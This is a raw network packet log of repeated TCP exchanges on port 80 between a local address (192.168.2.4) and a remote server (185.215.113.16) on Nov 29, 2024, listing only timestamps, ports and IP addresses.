Nov 29, 2024 20:07:31.109137058 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.109215021 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.109252930 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.110382080 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.111341000 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.111426115 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.113437891 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.113563061 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.113599062 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.115652084 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.115683079 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.115819931 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.117799997 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.117928028 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.117978096 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.119935989 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.119973898 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.120054960 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.122271061 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.122399092 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.122431040 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.124286890 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.124501944 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.126332045 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.126424074 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.126555920 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.128582954 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.128701925 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.128734112 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.130747080 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.130781889 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.130959988 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.132910013 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.134341002 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.239088058 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.239175081 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.240048885 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.240145922 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.242028952 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.242078066 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.242157936 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.244005919 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.244044065 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.244143963 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.245994091 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.246046066 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.246330976 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.247942924 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.248050928 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.249864101 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.249938011 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.249972105 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.250382900 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.251810074 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.251948118 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.253590107 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.253626108 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.253735065 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.255507946 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.255543947 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.255584955 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.257307053 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.257410049 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.257445097 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.259043932 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.259077072 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.259186029 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.260837078 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.260916948 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.260951996 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.262574911 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.262609005 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.262675047 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.264309883 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.264411926 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.264445066 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.266103983 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.266206026 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.266330957 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.267849922 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.267867088 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.269584894 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.269649029 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.269682884 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.271353006 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.271389008 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.271415949 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.273082018 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.273135900 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.273169041 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.274385929 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.274835110 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.274894953 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.276587009 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.276809931 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.276845932 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.278374910 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.278415918 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.278501987 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.280075073 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.280164957 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.280198097 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.281847954 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.281968117 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.282330990 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.283632040 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.283725023 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.284751892 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.285345078 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.285362959 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.285389900 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.285424948 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.287065983 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.287111998 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.287203074 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.287256002 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.288829088 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.288883924 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.288948059 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.288995028 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.290549040 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.290600061 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.290663004 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.290733099 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.292308092 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.292356014 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.292398930 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.292445898 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.294071913 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.294114113 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.294187069 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.294228077 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.295798063 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.295865059 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.295912981 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.295955896 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.297569990 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.297633886 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.297672033 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.297713995 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.299315929 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.299370050 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.299468994 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.299514055 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.301065922 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.301161051 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.301181078 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.301228046 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.302833080 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.302879095 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.302951097 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.302995920 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.304603100 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.304649115 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.304729939 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.304780006 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.306298971 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.306343079 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.306410074 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.306452990 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.308058023 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.308104992 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.308175087 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.308226109 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.309814930 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.309863091 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.309909105 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.309952021 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.311564922 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.311613083 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.311677933 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.311728001 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.313309908 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.313355923 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.313366890 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.313410044 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.315041065 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.315094948 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.315152884 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.315254927 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.316807985 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.316852093 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.316915035 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.316961050 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.318583965 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.318627119 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.318669081 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.318712950 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.320352077 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.320396900 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.320399046 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.320441961 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.322066069 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.322112083 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.322175980 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.322215080 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.323817968 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.323863029 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.323977947 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.324023962 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.325637102 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.325681925 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.325717926 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.325762033 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.327320099 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.327370882 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.327505112 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.327550888 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.329061031 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.329107046 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.435461044 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.435516119 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.435544014 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.435584068 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.436281919 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.436381102 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.436391115 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.436435938 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.437485933 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.437539101 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.437583923 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.437642097 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.438998938 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.439057112 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.439142942 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.439196110 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.439842939 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.439892054 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.439954042 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.439987898 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.441435099 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.441481113 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.441653967 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.441694975 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.443082094 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.443130970 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.443214893 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.443263054 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.444621086 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.444674969 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.444693089 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.444739103 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.446204901 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.446250916 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.446324110 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.446371078 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.447750092 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.447810888 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.447901011 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.447994947 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.449320078 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.449376106 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.449553967 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.449600935 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.450881004 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.450931072 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.450979948 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.451023102 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.452450991 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.452492952 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.452508926 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.452553988 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.454054117 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.454113007 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.454284906 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.454335928 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.455622911 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.455666065 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.455770016 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.455817938 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.457197905 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.457243919 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.457298040 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.457335949 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.458795071 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.458841085 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.458967924 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.459011078 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.460397005 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.460438013 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.460438967 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.460474014 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.461955070 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.462022066 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.462106943 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.462148905 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.463509083 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.463608980 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.463689089 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.463732004 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.465084076 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.465126991 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.465199947 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.465250015 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.466639996 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.466685057 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.466749907 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.466801882 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.468255043 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.468295097 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.468310118 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.468353987 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.469831944 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.469877958 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.469968081 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.470011950 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.471393108 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.471431971 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.471507072 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.471545935 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.472950935 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.472995043 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.473058939 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.473104000 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.474539042 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.474590063 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.474675894 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.474780083 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.476098061 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.476145983 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.476188898 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.476239920 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.477682114 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.477727890 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.477752924 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.477792025 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.479244947 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.479291916 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.479371071 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.479418993 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.480819941 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.480860949 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.480988026 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.481029034 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.482445955 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.482495070 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.482531071 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.482575893 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.483994961 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.484034061 CET	50068	80	192.168.2.4	185.215.113.16
